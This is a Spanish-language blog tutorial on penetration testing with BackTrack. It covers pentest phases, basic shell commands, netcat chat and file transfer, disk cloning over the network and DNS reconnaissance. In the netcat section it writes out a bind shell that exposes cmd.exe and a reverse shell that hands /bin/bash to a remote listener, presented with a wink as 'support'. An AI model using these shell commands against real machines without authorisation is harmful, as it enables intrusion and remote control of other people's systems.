Pen Testing


Que es una prueba de penetración?

Es un proceso que evalúa activamente las medidas de seguridad que adopta una determinada compañía. esta información es utilizada para intentar explotar algún problema de seguridad  detectado en las mismas. Los resultados deben ser documentados en reportes que son presentados a la compañía y allí se discuten las medidas y estrategias correctivas a  llevar a cabo.

Fases de una prueba de penetración:

  • Recolección de la información
  • Identificación de vulnerabilidades
  • Verificación de las vulnerabilidades
  • Comprometiendo sistemas y escalando privilegios
  • Mantener el acceso
  • Cubrir el ataque

Utilizaremos Backtrack en el descubrimiento del Pentesting:

Este SO desarrollado es desarrollado por la empresa Offensive security y esta desarrollado para auditorías de seguridad, cuenta con una gran cantidad de herramientas orientadas a la seguridad, en principio estuvo basado en Slax, pero debido a que eran difíciles de actualizar los paquetes, Backtrack decidió unirse con Ubuntu y ahora esta basado en Ubuntu intrepid, esto hizo que fuera mucho mas fácil su instalación, reconocimiento de hardware, y además la actualización de paquetes y repositorios.

Ingresando en el mundo Backtrack:

Nota: Una de las recomendaciones al utilizar las herramientas de seguridad que Backtrack trae incorporadas, es hacerlo desde la terminal o shell ya que al hacerlo desde el menú asumen unos valores por defecto que podrían desaprovechar ciertas características dependiendo de la herramienta.

Todas estas herramientas estan en la siguiente ruta:

cd /pentest

Además están organizadas en categorías y sub-categorías dependiendo de su función.

Generando SSHD:

Primero generamos las llaves:

sshd-generate

  • Debemos entonces iniciar el servicio, y además vamos a verificar con el comando netstat si esta corriendo:

  • Vamos a verificar si nos deja ingresar. Para esto vamos a una maquina cliente y ejecutamos el comando que se ve en la siguiente imagen:


  • Seria interesante poner a correr el servidor TFTPD ya que es muy útil para hacer trasferencias desde la maquina víctima hacia nuestro PC, un ejemplo podría ser al atacar un switche que son dispositivos que solo permiten transferencias vía FTP:

Iniciamos el demonio  TFTPD y verificamos si esta corriendo:

Nota: Con el primer parámetro le estamos diciendo que inicie el demonio, y además que todo lo que descarguemos se guarde en los temporales.

  • Podemos parar el servicio con el comando:

killall atftpd

  • Creando el editor de textos mas genial de la historia: 🙂

Comando cat: Sirve tanto para visualizar como para ingresar contenido en un texto.

Ahora veamos como ingresar contenido:

Nota: Lo que esta subrayado es el comando que debemos ingresar para empezar a escribir el contenido.

Nos salimos del editor digitando:

Control+Z

  • Ahora visualicemos si lo que escribimos a quedado guardado:

Nota: Si quisiéramos agregar mas lineas a este archivo lo hacemos con el comando cat >> prueba.txt

Redirigir errores a un archivo que escojamos:

  • Vamos entonces a borrar un archivo que no existe, y no queremos que nos muestre el error en la pantalla, sino que queremos que nos mande el error a un archivo que vamos a crear, para crearlo hemos escogido la ruta /tmp/ y lo vamos a hacer así:

nano /tmp/error.txt

Digittamos: Control+O

  • Vamos entonces a crear el error

rm  /tmp/archivonoexistente 2> /tmp/error.txt

Nota: esto lo que hace es redireccionar el error al archivo indicado, el comando que se utiliza es 2>


  • Luego miramos en el archivo

nano /tmp/error.txt

Cut: Instruccion usada para cortar determinado contenido de un archivos

Sintaxis: cut -c posicioninicia-posicionfinal [archivo]

Ejemplos:

Después de esta introducción aunque nos faltaría la parte de programación, vamos entonces a la parte que a todos os gusta 🙂


Primero vamos a definir que son los ataques pasivos, y lo ataques activos:

Ataques pasivos: En un ataque pasivo, el autor supervisa simplemente el tráfico de la red para intentar conocer algunos secretos. Estos ataques se pueden basar en la red (rastreo los enlaces de comunicaciones) o en el sistema (sustitución de un componente del sistema con un programa Caballo de Troya que captura datos subrepticiamente). Los ataques pasivos son los más difíciles de detectar. Siempre debe presuponer que alguien puede estar escuchando todo lo que envíe por Internet

Ataques activos: En un ataque activo, el autor intenta abrirse paso a través de sus defensas para entrar en los sistemas de la red. Hay varios tipos de ataques activos:

  • En los intentos de acceso al sistema, el atacante intenta explotar los agujeros de seguridad para acceder a un cliente o sistema y controlarlo.
  • En los ataques de usurpación , el atacante intenta abrirse paso a través de sus defensas haciéndose pasar por un sistema de confianza, o un usuario le persuade para que le envíe información secreta.
  • En los ataques de negativa de servicio, el atacante intenta interferir en las operaciones, o detenerlas, redireccionando el tráfico o bombardeando el sistema con basura.
  • En los ataques criptográficos, el atacante intentará adivinar o robar las contraseñas, o utilizará herramientas especializadas para intentar descifrar los datos cifrados.

Utilidades

Netcat:

Definida como la navaja suiza de los Hackers. Veamos entonces algunos comandos.

  • Veamos todas las opciones que nos da Netcat:

Implementando un chat:

Maquina servidora del chat, debemos ejecutar el siguiente comando:

nc -lvvp 4444


Nota: Lo que le estamos diciendo es que ponga en modo de escucha a la maquina permitiendo conexiones entrantes, y que lo haga por el puerto 4444

  • Ahora en la maquina cliente digitamos el siguiente comando:

nc -vv 192.168.1.66 4444


*Ahora tenemos un chat en nuestra shell 🙂

Tambien podemos transferir archivos por medio de netcat:

Maquina receptora:

  • Después de haber creado el archivo en el que vamos a almacenar lo que nos vayan mandando digitamos el siguiente comando:

nc -lvp 4444 > [archivo]

  • Vamos a la maquina que va a transferir el archivo y después de haber creado el archivo de texto, o el binario, copiamos en siguiente comando:

nc -vv 192.168.1.66 4444 < [Archivo o binario que vamos a mandar]

Nota: No se muestra el proceso de transferencia, entonces debemos esperar un momento y luego digitar Control+C

Miremos si ha funcionado:

Nota: el archivo prueba.txt tenia como contenido las letras que vemos subrayadas en rojo… Buena hora ha funcionado ¡¡¡ 🙂

Acceso remoto con Netcat

Nota: El uso que se le de a esta herramienta no es responsabilidad de Humanliks… 😉

Escenario:

Queremos ingresar desde nuestro Backtrack a una maquina cliente remotamente para ayudarle a algun compañero 🙂

Para esto debemos tener instalada en la maquina Windows la herramienta de netcat, nos la bajamos del siguiente enlace:

http://rapidshare.com/files/137984002/NetCat.rar

  • Una vez nos hallamos bajado el instalador, lo descomprimimos y entramos en la consola de Windows, y allí buscamos la ruta donde tenemos la carpeta descomprimida y nos ubicamos dentro de ella, en mi caso esta en la siguiente ruta:

C:\Documents and Settings\Administrador\Mis documentos\NetCat>

  • Una vez allí digitamos el siguiente comando:

nc -lvvp 4444 -e cmd.exe


  • Una vez allí, vamos a la maquina que ingresara remotamente, en este caso nuestro Backtrack, y damos el comando:

nc -v  [Dirección IP Destino] 4444


Shell Inversa:

Ahora necesitamos ingresar en una maquina que esta detras de un router que tiene configurado un NAT, nos tocara entonces regalar nuestra bash a la maquina que nos quiera hacer «Soporte» :)…. Veamos como

  • La maquina que tendrá el control deberá ponerse a la escucha para esto damos el siguiente comando:

nc -lvvp 4444

  • Ahora en  la maquina que recibirá el «Soporte» damos el siguiente comando que lo que hace es conectarse a la otra maquina y darle permisos de ejecutar la shell, los permisos dependerán del usuario con el que este logueado al momento de dar el siguiente comando:

nc -v [IP destino] -e /bin/bash

  • Vemos entonces en la maquina principal la cual tendrá el acceso a la shell, vemos como se conecta, y nos deja ingresar comandos

Clonando maquinas con NC: Increible pero cierto 🙂

Nota: Aun no lo he hecho pero acá dejo los comandos para que lo prueben.

  • En  la maquina donde vamos a copiar el disco, digitamos el siguiente comando:

nc -l -p 1234 | dd of=/dev/sda

Nota: La sintaxis lo que dice es que deje en modo de escucha a la maquina, en el puerto 1234 y que almacene en /dev/sda que tendria a ser la partición del disco, sino esta seguro de cual es la partición en la que quiere almacenar la copia, digite el comando df y verifica.

  • Maquina donde esta el disco que vamos a clonar.

dd if=/dev/sda | nc IP 1234

Bueno es todo por hoy…. Espero disfruten de forma sana ;)………………………………………….

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Reconocimiento DNS – Finalidad: Muchas pero en este caso la transferencia de Zonas 😉

Bueno cuando hablamos de reconocimiento nos referimos a la obtención de información, para ejecutar una finalidad, en este caso entonces veremos como obtener información de una manera simple, y como podemos ejecutar comandos para hacer transferencias de zonas, que son unos de los factores que nos pueden ayudar a visualizar el mapa lógico de una organización y otros datos mas… Vamos a ver como empezar:

Nota: Coge papel y lápiz (Wordpad, Openoffice …) 🙂 Y anota toda la información que vayas adquiriendo. Además cabe aclarar que debemos escoger una URL para hacer todos los procesos a continuación; Nosotros lo vamos a hace con diferentes URLS porque no queremos comprometer ninguna en especial.

Vamos entonces a pedir una resolucion directa, que lo que hace no es otra cosa mas que darnos la direccion IP de un dominio en particular:

Nota: En este caso obtendríamos la dirección IP de uno de los servidores de dominio de Google, ya que son varios cada que demos  el nslookup nos puede mostrar diferentes direcciones, pero para empezar no debemos escoger una víctima tan robusta como Google :), Acá pedimos a nuestro Gateway que nos traduzca el registro tipo A de la URL google.com

Registro tipo A: Este registro se usa para traducir nombres de hosts a direcciones IPv4. (Según Wikipedia)

  • Ahora veamos que servidores de tipo MX (Correo electrónico) tiene un dominio

Nota: No siempre nos va a arrojar información, depende del administrador del dominio, si tiene o no tiene bien configurada la seguridad.

Consultas NS – DNS Autoritativos:

Vamos a ver como mirar que servidores autoritativos tiene una determinada organización, esto nos sirve para efectuar transferencias de zonas.

Nota: Lo que observamos en este resultado parece ser que esta empresa tiene contratado un Outsourcing que es la encargada de gestionar sus servicios a nivel teleinformático.

Técnicas de recolección de información DNS:

Forward LookupFuerza bruta

Con esta técnica lo que queremos es visualizar las direcciones IP de diferentes servicios, haciendo una búsqueda por nombres comunes dentro de organizaciones. Ejemplo:

Queremos saber direcciones de diferentes dispositivos en  una organización: Switches routers, servidores, firewalls. etc….

Podríamos intentar haciendo un pequeño script que buscara por nombre comunes de dispositivos dentro del dominio… Veamos mejor un ejemplo para comprender mejor: 😉

  • Vamos a crear un archivo que se llame nombresdns.txt, y en el vamos a ingresar nombres comunes de dispositivos que pudiesen existir en una empresa.

  • Ahora creamos el archivo que contiene el script, pero con extensión .sh, veamos como:

nano prueba.sh

  • Luego ingresamos las lineas que aparecen en la imagen, y guardamos:

  • Por ultimo debemos darle permisos a el script, para esto digitamos:

chmod -R 755 prueba.sh

  • Vamos a probar nuestro script

Nota: En este resultado nos muestra un solo resultado que corresponde a la dirección IP de un dispositivo que se llama mail. Por cuestiones de tiempo no he probado con otros dominios y otras palabras, pero es esta una buena base para que juegues con tu creatividad 🙂

Deja un comentario